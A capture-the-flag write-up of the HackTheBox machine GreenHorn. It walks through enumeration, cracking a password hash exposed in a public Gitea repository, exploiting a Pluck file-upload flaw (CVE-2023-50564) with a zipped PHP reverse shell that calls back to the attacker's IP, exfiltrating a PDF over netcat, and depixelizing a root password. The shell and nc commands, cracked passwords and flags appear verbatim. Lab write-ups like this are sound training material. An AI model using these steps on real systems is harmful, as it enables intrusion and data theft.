HackTheBox GreenHorn
Writeup for HackTheBox GreenHorn
Machine Synopsis
GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
❯ nmap -p- --min-rate 10000 10.10.11.25
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
❯ nmap -p 22,80,3000 -sC -sV 10.10.11.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open http Golang net/http server
|_http-title: GreenHorn
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=a00c33310d2e2309; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=xnqKvYagU5GV3SaFEwuIira2jqw6MTc0MDI4NTQ5NTYwOTY0MDMzNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 23 Feb 2025 04:38:15 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=38733d4a5da2e94e; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=XR8OynIx0CwW5PdIPDzXIjr-vuM6MTc0MDI4NTQ5NTg1NTk0MzAwMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 23 Feb 2025 04:38:15 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=2/23%Time=67BAAA2F%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,37DB,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:a00c33310d2e2309;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=xnqKvYagU5GV3SaFEwuIira2jqw6MTc0MDI4NTQ5NTYwOTY0MDMzNw;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2004:38:15\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x20r
SF:el=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR3Jl
SF:ZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9
SF:ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm
SF:4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJza
SF:XplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowe
SF:d\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x2
SF:0private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like_
SF:gitea=38733d4a5da2e94e;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-
SF:Cookie:\x20_csrf=XR8OynIx0CwW5PdIPDzXIjr-vuM6MTc0MDI4NTQ5NTg1NTk0MzAwMg
SF:;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-
SF:Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2004:38:1
SF:5\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Lets add the domain to the /etc/hosts
file.
1
❯ echo -e '10.10.11.25\tgreenhorn.htb' | sudo tee -a /etc/hosts
Lets check out the webpage on port 80
.
It looks like some default webpage. Clicking on admin
hyperlink brings us to a login page.
Searching for pluck 4.7.18 vulnerabilities
shows a known exploit CVE-2023-50564
, which is an arbitrary file upload vulnerability.
Lets check out the webpage on port 3000
instead.
It looks like a Gitea
webpage. Lets check for any hidden directories!
1
2
3
4
5
6
7
8
❯ gobuster dir -u http://greenhorn.htb:3000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
/admin (Status: 303) [Size: 38] [--> /user/login]
/v2 (Status: 401) [Size: 50]
/issues (Status: 303) [Size: 38] [--> /user/login]
/explore (Status: 303) [Size: 41] [--> /explore/repos]
/notifications (Status: 303) [Size: 38] [--> /user/login]
/milestones (Status: 303) [Size: 38] [--> /user/login]
It seems like /explore
endpoint redirects us to /explore/repos
.
In login.php
source code, there are some interesting lines of code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//If pluck is installed:
else {
require_once 'data/settings/pass.php';
//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';
if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
header('Location: admin.php');
exit;
}
//Include header-file.
$titelkop = $lang['login']['title'];
include_once 'data/inc/header2.php';
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
$pass = hash('sha512', $cont1);
...
//If password is correct, save session-cookie.
if (($pass == $ww) && (!isset($login_error))) {
$_SESSION[$token] = 'pluck_loggedin';
...
We can observe that the file imports a file from /data/pass.php
, and is comparing the $pass
variable with a value stored in $ww
.
Checking /data/pass.php
, we find the $ww
variable.
1
2
3
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
Exploitation
Cracking the hash on CrackStation reveals the password of iloveyou1
.
With this password, we are able to login to the dashboard on port 80
.
Navigating around the website, we found a page to manage modules.
We also found a function to install modules.
According to CVE-2023-50564
, the vulnerability allows attackers to execute arbitrary code via uploading a crafted zip
file.
Lets try to do this by grabbing a php
reverse shell from pentestmonkey.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ cat reverse.php
<?php
...
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.9'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
?>
❯ zip reverse.zip reverse.php
adding: reverse.php (deflated 59%)
Now we can start a nc
listener, upload the zip
file and wait for the file to be executed on the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.25] 45844
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
08:41:50 up 4:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@greenhorn:/$ cd home
www-data@greenhorn:/home$ ls
git junior
www-data@greenhorn:/home$ ls junior
'Using OpenVAS.pdf' user.txt
www-data@greenhorn:/home$ cat junior/user.txt
cat: junior/user.txt: Permission denied
It looks like we can’t read user.txt
as the current user. Lets try to change user to junior
using the password we found earlier.
1
2
3
4
5
www-data@greenhorn:/home$ su junior
Password: iloveyou1
junior@greenhorn:/home$ cat junior/user.txt
3bf8824a45112d75914dae530a440228
Privilege Escalation
Now that we are junior
, we can also transfer the interesting pdf file that was in the home
directory.
1
❯ nc -nlvp 8888 > 'Using OpenVAS.pdf'
1
junior@greenhorn:~$ cat 'Using OpenVAS.pdf' | nc 10.10.16.9 8888
Lets open the pdf file to read it.
Searching for depixelate pdf github
on Google resulted in this GitHub repository. However, this tool is to recover plaintexts from pixelized screenshots or images. Therefore, we will have to grab the image from the report before using this tool.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ pdfimages
pdfimages version 25.01.0
Copyright 2005-2025 The Poppler Developers - http://poppler.freedesktop.org
Copyright 1996-2011, 2022 Glyph & Cog, LLC
Usage: pdfimages [options] <PDF-file> <image-root>
-f <int> : first page to convert
-l <int> : last page to convert
-png : change the default output format to PNG
-tiff : change the default output format to TIFF
-j : write JPEG images as JPEG files
-jp2 : write JPEG2000 images as JP2 files
-jbig2 : write JBIG2 images as JBIG2 files
-ccitt : write CCITT images as CCITT files
-all : equivalent to -png -tiff -j -jp2 -jbig2 -ccitt
-list : print list of images instead of saving
-opw <string> : owner password (for encrypted files)
-upw <string> : user password (for encrypted files)
-p : include page numbers in output file names
-print-filenames : print image filenames to stdout
-q : don't print any messages or errors
-v : print copyright and version info
-h : print usage information
-help : print usage information
--help : print usage information
-? : print usage information
❯ pdfimages -png Using\ OpenVAS.pdf pixel
❯ ls
Depixelization_poc 'Using OpenVAS.pdf' pixel-000.png reverse.php reverse.zip
❯ file pixel-000.png
pixel-000.png: PNG image data, 420 x 15, 8-bit/color RGB, non-interlaced
Here is the image extracted from the pdf
file.
Now we can try to depixelize it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ git clone https://github.com/spipm/Depixelization_poc
❯ cd Depixelization_poc
❯ python3 depix.py -p ../pixel-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-02-23 17:19:37,058 - Loading pixelated image from ../pixel-000.png
2025-02-23 17:19:37,067 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-02-23 17:19:37,675 - Finding color rectangles from pixelated space
2025-02-23 17:19:37,676 - Found 252 same color rectangles
2025-02-23 17:19:37,676 - 190 rectangles left after moot filter
2025-02-23 17:19:37,676 - Found 1 different rectangle sizes
2025-02-23 17:19:37,676 - Finding matches in search image
2025-02-23 17:19:37,676 - Scanning 190 blocks with size (5, 5)
2025-02-23 17:19:37,689 - Scanning in searchImage: 0/1674
2025-02-23 17:20:00,783 - Removing blocks with no matches
2025-02-23 17:20:00,784 - Splitting single matches and multiple matches
2025-02-23 17:20:00,786 - [16 straight matches | 174 multiple matches]
2025-02-23 17:20:00,786 - Trying geometrical matches on single-match squares
2025-02-23 17:20:00,937 - [29 straight matches | 161 multiple matches]
2025-02-23 17:20:00,937 - Trying another pass on geometrical matches
2025-02-23 17:20:01,075 - [41 straight matches | 149 multiple matches]
2025-02-23 17:20:01,075 - Writing single match results to output
2025-02-23 17:20:01,076 - Writing average results for multiple matches to output
2025-02-23 17:20:02,383 - Saving output image to: output.png
Here is the output picture.
It seems like the password recovered is sidefromsidetheothersidesidefromsidetheotherside
.
Lets try to escalate our user to root
.
1
2
3
4
5
junior@greenhorn:~$ su root
Password: sidefromsidetheothersidesidefromsidetheotherside
root@greenhorn:/home/junior# cat /root/root.txt
82d1cac42d9242eb8c094837d0485799